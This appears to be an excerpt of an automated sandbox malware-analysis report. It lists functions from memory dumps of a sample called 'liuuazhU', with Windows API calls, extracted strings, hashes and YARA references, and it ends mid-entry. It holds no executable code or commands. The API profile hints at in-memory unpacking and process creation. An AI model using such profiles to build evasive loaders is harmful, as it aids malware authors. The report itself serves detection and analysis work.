Opcode Fuzzy Hash: a830069eb10a6669d1f7b5bb31c29c2fd2268dc19aa95b78f15318fac2b869fd
Instruction Fuzzy Hash: 2FC138B1D053489FCF16CFA5C890ACDBFF5AF1A310F15A09AE448AB226D7359A85CF11

Function 2E824AD1 Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120296894.000000002E820000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e820000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbab556190fc12967ddc34ff8d5eb12e22610405a894a78be8123c6105fba139
Instruction ID: b5ee51179791416480c68bade22dae1c311d267802ecf2459ca3cf8628ca1be1
Opcode Fuzzy Hash: fbab556190fc12967ddc34ff8d5eb12e22610405a894a78be8123c6105fba139
Instruction Fuzzy Hash: C8D19030A00A49CFDB04CFA9C898B9DBBF1BFA4314F158168E449AF2A5DB74D985CF50

Function 2D94D2E8 Relevance: 1.8, APIs: 1, Instructions: 303processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000020,00000000,00000000,00000000,2D94D94A), ref: 2D94E5F4

Memory Dump Source

Source File: 0000000B.00000002.3119074821.000000002D940000.00000040.00000800.00020000.00000000.sdmp, Offset: 2D940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2d940000_liuuazhU.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 0114fc08ebd1fefbc1999c925f89ad9e75d65d85989e4982073f8006f2226e94
Instruction ID: f4e87f3b18400632d0bcb777b95b15fd9e87987034820d55f98b4d7893271351
Opcode Fuzzy Hash: 0114fc08ebd1fefbc1999c925f89ad9e75d65d85989e4982073f8006f2226e94
Instruction Fuzzy Hash: 95C1C074D00218DFDB11CFA9C880BAEBBF6BF49304F2491A9E508B7261E774A985CF45

Function 2E425D18 Relevance: 1.8, APIs: 1, Instructions: 263libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 2E425FD3

Memory Dump Source

Source File: 0000000B.00000002.3119790903.000000002E420000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e420000_liuuazhU.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7de691fc1c7688f521c2d0adbc1c79b2e857cc1609d04c7760d183bc788a6da8
Instruction ID: 041df0b9a58e7bcfa387173ea55ba1b365dc64ccb0c4054a8f4aac52d6f2cf2f
Opcode Fuzzy Hash: 7de691fc1c7688f521c2d0adbc1c79b2e857cc1609d04c7760d183bc788a6da8
Instruction Fuzzy Hash: E891E371E00A19CBCB14DFBAC96069EBBF2EF98310F10857AD405A7395DB389D01CB91

Function 2D94E7C0 Relevance: 1.6, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(?,?), ref: 2D94E864

Memory Dump Source

Source File: 0000000B.00000002.3119074821.000000002D940000.00000040.00000800.00020000.00000000.sdmp, Offset: 2D940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2d940000_liuuazhU.jbxd

Similarity

API ID: IdleInputWait
String ID:
API String ID: 2200289081-0
Opcode ID: c4c44217fac2431d6a7bed3b76b78d616b8a35620cd3b0c082dfe0e1e68ec273
Instruction ID: f073cac3f389127b2be91f4aee4caf5bc5665761bf03be7c3d76b8ee9cfbc029
Opcode Fuzzy Hash: c4c44217fac2431d6a7bed3b76b78d616b8a35620cd3b0c082dfe0e1e68ec273
Instruction Fuzzy Hash: 9231B9B4D002589FCB10CFAAC984A9EFBF5BB49300F20902AE408BB355D774A945CF58

Function 2E4CF570 Relevance: 1.5, Strings: 1, Instructions: 227COMMON

Download Yara Rule

Strings

8DC., xrefs: 2E4CF874

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: 8DC.
API String ID: 0-1690975047
Opcode ID: 0a0eeacab5c479fd9d665ecbbcb21aaa321fc170294a7620e9ae0934b0239dbc
Instruction ID: 543fc3fd5fa09a80f8746302e5b4e9159b87b59852c3178ff4970cc4566628b4
Opcode Fuzzy Hash: 0a0eeacab5c479fd9d665ecbbcb21aaa321fc170294a7620e9ae0934b0239dbc
Instruction Fuzzy Hash: 52B1A174E012298FEB24CF6AC944BDDBBF2BF99300F10D1AAD508A7254DB745A85CF11

Function 2E4CF560 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

8DC., xrefs: 2E4CF874

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: 8DC.
API String ID: 0-1690975047
Opcode ID: 69f35cdc2e689e435736be7ca7bd1d9324ac20e40c6feaba8da7d9f1981e16ae
Instruction ID: be277e92aa022027dc9ecb12ac5efe0379ed2c700e6eed57711dee3b89ac583b
Opcode Fuzzy Hash: 69f35cdc2e689e435736be7ca7bd1d9324ac20e40c6feaba8da7d9f1981e16ae
Instruction Fuzzy Hash: 7271A374E016288FEB68CF6AC854B9DBBF2AF89300F14C1AAD548A7254DB744A85CF51

Function 2E4CE388 Relevance: .8, Instructions: 780COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10f853b27bb31684e47301dfa28ab4b0bad1b90c360f5b7766970720c7b063d7
Instruction ID: ff208400831998d962137456825b4e44671ce29be823872b4334a056e8807e83
Opcode Fuzzy Hash: 10f853b27bb31684e47301dfa28ab4b0bad1b90c360f5b7766970720c7b063d7
Instruction Fuzzy Hash: 2282CE74E052298FDB64DF69C894BEDBBB2AB59300F1091EAD50CA7351EB349E81CF50

Function 2E4C5420 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3881b3c2cedc86361593a1ecc808b658c2905305b913b416fe01f637d8085194
Instruction ID: 2fa8641254d724fdaf835f330c75b1cbb6b7ec4355f21e89e65e736152ac8aec
Opcode Fuzzy Hash: 3881b3c2cedc86361593a1ecc808b658c2905305b913b416fe01f637d8085194
Instruction Fuzzy Hash: 90F18A74E002288FDB64DFA5C990BEDBBB2AB98300F2085AAD50DA7355DB355E85CF50

Function 2E4CE379 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a45afbb3e25a85a9fa09c92553a7d34dd290f457f7ea5d7eb47050ee3c68ac6d
Instruction ID: 65f1f71988240ae90273e32102af1bd4f4e2d09f696135d4ca6dbfd99f75d390
Opcode Fuzzy Hash: a45afbb3e25a85a9fa09c92553a7d34dd290f457f7ea5d7eb47050ee3c68ac6d
Instruction Fuzzy Hash: DD819074E052288FDB64DF66C9507EDBBF2AF89300F1091AAD50DA7251DB359E82CF50

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747comprocessCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

v, xrefs: 00401E4B
{, xrefs: 0040205B
*, xrefs: 004020E1
W, xrefs: 004020E6
W, xrefs: 00401B23
U, xrefs: 004020F5
!, xrefs: 004020CF
W, xrefs: 00401B14
', xrefs: 00402006
4, xrefs: 00401B64
., xrefs: 0040201F
!, xrefs: 00401B1E
v, xrefs: 00401B5A
o, xrefs: 00402159
:, xrefs: 00401B28
0, xrefs: 00401BBD
{, xrefs: 0040211D
4, xrefs: 00402136
x, xrefs: 0040214A
[, xrefs: 00401B37
5, xrefs: 00402109
{, xrefs: 00401B4B
6, xrefs: 004020C5
x, xrefs: 00402088
h, xrefs: 00401A6F
", xrefs: 00401B0F
x, xrefs: 00401B78
), xrefs: 0040202E
V, xrefs: 00402038
', xrefs: 00401AF6
_._, xrefs: 00402257
E, xrefs: 00401E0F
x, xrefs: 00401E69
___, xrefs: 0040227D
V, xrefs: 00401E19
8, xrefs: 00401BA9
%, xrefs: 004020FA
{, xrefs: 00401E3C
o, xrefs: 00402097
., xrefs: 00401B0A
W, xrefs: 00402033
[, xrefs: 00402047
o, xrefs: 00401B8D
v, xrefs: 0040212C
v, xrefs: 0040206A
*, xrefs: 00401A1F
!, xrefs: 0040201A
4, xrefs: 00402074
D, xrefs: 00401DFB

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 2E4C32D0 Relevance: 24.6, Strings: 19, Instructions: 826
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L%C., xrefs: 2E4C33BF
P$C., xrefs: 2E4C36FB
$C., xrefs: 2E4C3C1E
4%C., xrefs: 2E4C3327
(%C., xrefs: 2E4C3A6E
8$C., xrefs: 2E4C36B6
h$C., xrefs: 2E4C3BD6
X%C., xrefs: 2E4C3404
$^q, xrefs: 2E4C3DF4
D$C., xrefs: 2E4C3B8E
@%C., xrefs: 2E4C3380
$C., xrefs: 2E4C375D
d%C., xrefs: 2E4C35A2
$^q, xrefs: 2E4C3E17
(o^q, xrefs: 2E4C3FD1
p%C., xrefs: 2E4C3A26
\$C., xrefs: 2E4C3C66
,$C., xrefs: 2E4C392E
$C., xrefs: 2E4C3AB6

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: $C.$(%C.$(o^q$,$C.$4%C.$8$C.$@%C.$D$C.$L%C.$P$C.$X%C.$\$C.$d%C.$h$C.$p%C.$$C.$$C.$$^q$$^q
API String ID: 0-2478616931
Opcode ID: e01baf92386f6882779007963e2f00d3ad6006c4fff224c3b122fd81a8e43af4
Instruction ID: d1d154a7095021c0efc97555545ca9975fc0e5adb5d565c5bb0dc667621a1a89
Opcode Fuzzy Hash: e01baf92386f6882779007963e2f00d3ad6006c4fff224c3b122fd81a8e43af4
Instruction Fuzzy Hash: 58723674A00218CFDB14DFA4C8A0B9EBB76EF98300F2481AAD41AAB395DF359D45DF51

Function 0040CBF7 Relevance: 21.1, APIs: 14, Instructions: 78COMMON

Download Yara Rule

APIs

_fast_error_exit.LIBCMT ref: 0040CC41
__mtinit.LIBCMT ref: 0040CC47
_fast_error_exit.LIBCMT ref: 0040CC52
__RTC_Initialize.LIBCMT ref: 0040CC58
__ioinit.LIBCMT ref: 0040CC61
__amsg_exit.LIBCMT ref: 0040CC6C
GetCommandLineA.KERNEL32 ref: 0040CC72
___crtGetEnvironmentStringsA.LIBCMT ref: 0040CC7D
__setargv.LIBCMT ref: 0040CC87
__amsg_exit.LIBCMT ref: 0040CC92
__setenvp.LIBCMT ref: 0040CC98
__amsg_exit.LIBCMT ref: 0040CCA3
__cinit.LIBCMT ref: 0040CCAB
__amsg_exit.LIBCMT ref: 0040CCB6

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp
String ID:
API String ID: 2598563909-0
Opcode ID: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction ID: 67c2b95978a5c3de314e94e7eee78366e8702871eb07600154e5c77a41a3d030
Opcode Fuzzy Hash: 2d668fad8e0b173589b4563f5a4f7b2cb6976b6486fb72b9956ee4840b6c9fb0
Instruction Fuzzy Hash: 5321E770A05304DAFB207BB3E98676932B46F00309F00453FE508B62D2EB7C89918A5C

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 2E7C49D0 Relevance: 6.1, APIs: 4, Instructions: 136
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2E7C4A5E
GetCurrentThread.KERNEL32 ref: 2E7C4A9B
GetCurrentProcess.KERNEL32 ref: 2E7C4AD8
GetCurrentThreadId.KERNEL32 ref: 2E7C4B31

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 9fa1fc5be6c3f23d474634e39080f65f630017d5457f6299840970126de0546c
Instruction ID: a41f48d340a881e60f9f63e9673cb5d02ba5a343b088aedc3e37b2a4867f9813
Opcode Fuzzy Hash: 9fa1fc5be6c3f23d474634e39080f65f630017d5457f6299840970126de0546c
Instruction Fuzzy Hash: 6B516AB09007098FDB04DFA9D588BDEBBF5EF88314F20C12AD518A7260DB349984CF65

Function 2E7C49E0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 2E7C4A5E
GetCurrentThread.KERNEL32 ref: 2E7C4A9B
GetCurrentProcess.KERNEL32 ref: 2E7C4AD8
GetCurrentThreadId.KERNEL32 ref: 2E7C4B31

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f20fda1b29fa90adfd1801b26ed3a5f5ba83276c60a302f8ce9260816d71b93d
Instruction ID: 65967268f1f659eeacc7cdf8bfed029587620e892ec6b63990b65e93f778ee7d
Opcode Fuzzy Hash: f20fda1b29fa90adfd1801b26ed3a5f5ba83276c60a302f8ce9260816d71b93d
Instruction Fuzzy Hash: 5F5158B09007098FDB04DFA9D588BDEFBF5AB88314F20C12AE519A7360DB349984CF65

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000B.00000001.1965196360.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1965196360.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1965196360.000000000043C000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_liuuazhU.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 2E4CD3E8 Relevance: 3.9, Strings: 3, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D)C., xrefs: 2E4CD66C
D)C., xrefs: 2E4CD635
D)C., xrefs: 2E4CD49C

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: D)C.$D)C.$D)C.
API String ID: 0-1439639639
Opcode ID: 6028694659aca3ce73f7f7a715757be4620504e666ede871926a07b86ac7a09d
Instruction ID: 043150d8284f5a44c0d0ace4322efaf1d2f361fa69c9796a4eec28e82bbe3ee3
Opcode Fuzzy Hash: 6028694659aca3ce73f7f7a715757be4620504e666ede871926a07b86ac7a09d
Instruction Fuzzy Hash: 6171F274E00218CFDB24DFA5C994BADBBB2BF88304F2084A9D909AB355DB355A85CF41

Function 2E7CD581 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(?), ref: 2E7CD812

Strings

86}., xrefs: 2E7CD5D1

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: HandleModule
String ID: 86}.
API String ID: 4139908857-1920637956
Opcode ID: 9852ef7a6ac0b6b9f5c7bfca02059ee66864acb798b2468a94426acdcf836fbd
Instruction ID: 58e354b35297e2d5176880425a89233d3f2384d8e068eb78e0b60a813cebdb16
Opcode Fuzzy Hash: 9852ef7a6ac0b6b9f5c7bfca02059ee66864acb798b2468a94426acdcf836fbd
Instruction Fuzzy Hash: CEA16770A007488FCB20CF69D080B9ABBF5BF99350F00992AD58AEB761D734E945CF91

Function 2E4C1079 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,bq, xrefs: 2E4C1168
,bq, xrefs: 2E4C115E

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 087a8a57baf1c9c167615e360f4a02d8dadc8904a45f65e0f11f62b809611a46
Instruction ID: a545b43e3903fbec938d8ac3aad52074a30807a922cb2502ec46826a907867e9
Opcode Fuzzy Hash: 087a8a57baf1c9c167615e360f4a02d8dadc8904a45f65e0f11f62b809611a46
Instruction Fuzzy Hash: CB81923CA006058FCB04CFA9C884959B7F1FFAA214B15926BD51AE7365DB35EC41CBA1

Function 2E4C0BB8 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

Hbq, xrefs: 2E4C0CB3
Hbq, xrefs: 2E4C0CE6

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 7f5a290a0038e8b285ea83e7a545aa57df3f8b0df3c6eb5cefdce9c11d273742
Instruction ID: 985d6a08e34d3a695ae1a7b1cefd0c73820887b7ea3ff5126e15cf301d6fefa8
Opcode Fuzzy Hash: 7f5a290a0038e8b285ea83e7a545aa57df3f8b0df3c6eb5cefdce9c11d273742
Instruction Fuzzy Hash: 5C51D3383042548FDB058F25C894BAE7BE6FF99304F14846AE945CB396DB78E841CB91

Function 2E4CD3D8 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

D)C., xrefs: 2E4CD66C
D)C., xrefs: 2E4CD635

Memory Dump Source

Source File: 0000000B.00000002.3120056947.000000002E4C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E4C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e4c0000_liuuazhU.jbxd

Similarity

API ID:
String ID: D)C.$D)C.
API String ID: 0-3676446386
Opcode ID: 0542ee53ba6716760eeceb143dae52022227be357ae24fd8218cd9656f867ffa
Instruction ID: 1f78c2b08630b9108b14f97d50c02d36ec88e88caf634238b9fe481ddb073b96
Opcode Fuzzy Hash: 0542ee53ba6716760eeceb143dae52022227be357ae24fd8218cd9656f867ffa
Instruction Fuzzy Hash: FF314574D01218DFDB14CFB6D8947DEBBB2AF89304F20942AD819BB241DB78554ACF52

Function 2E7CF8F0 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 2E7CFAB1

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 55235653586a4af0fee100f324aae784e921d6bdc5283a722b1ee50469f99606
Instruction ID: 67f985c96c49c4aaefaa80ad0f76645111c4b4685267fe20d661d4c8ae562b0b
Opcode Fuzzy Hash: 55235653586a4af0fee100f324aae784e921d6bdc5283a722b1ee50469f99606
Instruction Fuzzy Hash: A3716AB4D00218DFDF20CFA9D980ADDBBF5BB19304F10A1AAE958A7225D7319A85CF45

Function 2E7C4C20 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2E7C4CF3

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b8069bc150f01254c14aeda934b0cc96155111125845b5b873cab0bd353eec64
Instruction ID: 37668fd89547cbe4d969ef27ad0e32fd23d823ff43d0493a616c5694e0affc61
Opcode Fuzzy Hash: b8069bc150f01254c14aeda934b0cc96155111125845b5b873cab0bd353eec64
Instruction Fuzzy Hash: AF4166B9D002589FCB10CFA9D984ADEBBF5BB19310F14906AE918BB320D335A945CF54

Function 2E7C4C28 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 2E7C4CF3

Memory Dump Source

Source File: 0000000B.00000002.3120196643.000000002E7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2e7c0000_liuuazhU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 69ad52d21ae060b24ca48d064aca7efec512cd49ff33c6235aee730cebd28437
Instruction ID: eff2b46697dc3bd969df0c7b2694d452141b5ca3c1d943402386b0233199a139
Opcode Fuzzy Hash: 69ad52d21ae060b24ca48d064aca7efec512cd49ff33c6235aee730cebd28437
Instruction Fuzzy Hash: CE4156B9D002589FCB10CFAAD984ADEBBF5BB19310F14906AE918BB320D335A945CF54

Function 2A6BEF78 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 2A6BF01C

Memory Dump Source

Source File: 0000000B.00000002.3115757303.000000002A6B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2A6B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a6b0000_liuuazhU.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 606d3310017048eb188e45728b19cee7eb5e8e2a22cb490c17ff6ce29bd389ee
Instruction ID: cade892478e9187cbdad163e0b113bf48cd702ce74ba43a0e831d2d67df52379
Opcode Fuzzy Hash: 606d3310017048eb188e45728b19cee7eb5e8e2a22cb490c17ff6ce29bd389ee
Instruction Fuzzy Hash: 253197B5D012589FCF14DFA9D980ADEFBF0BB49310F20942AE814B7224D735A945CF58

Function 2E821DC0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

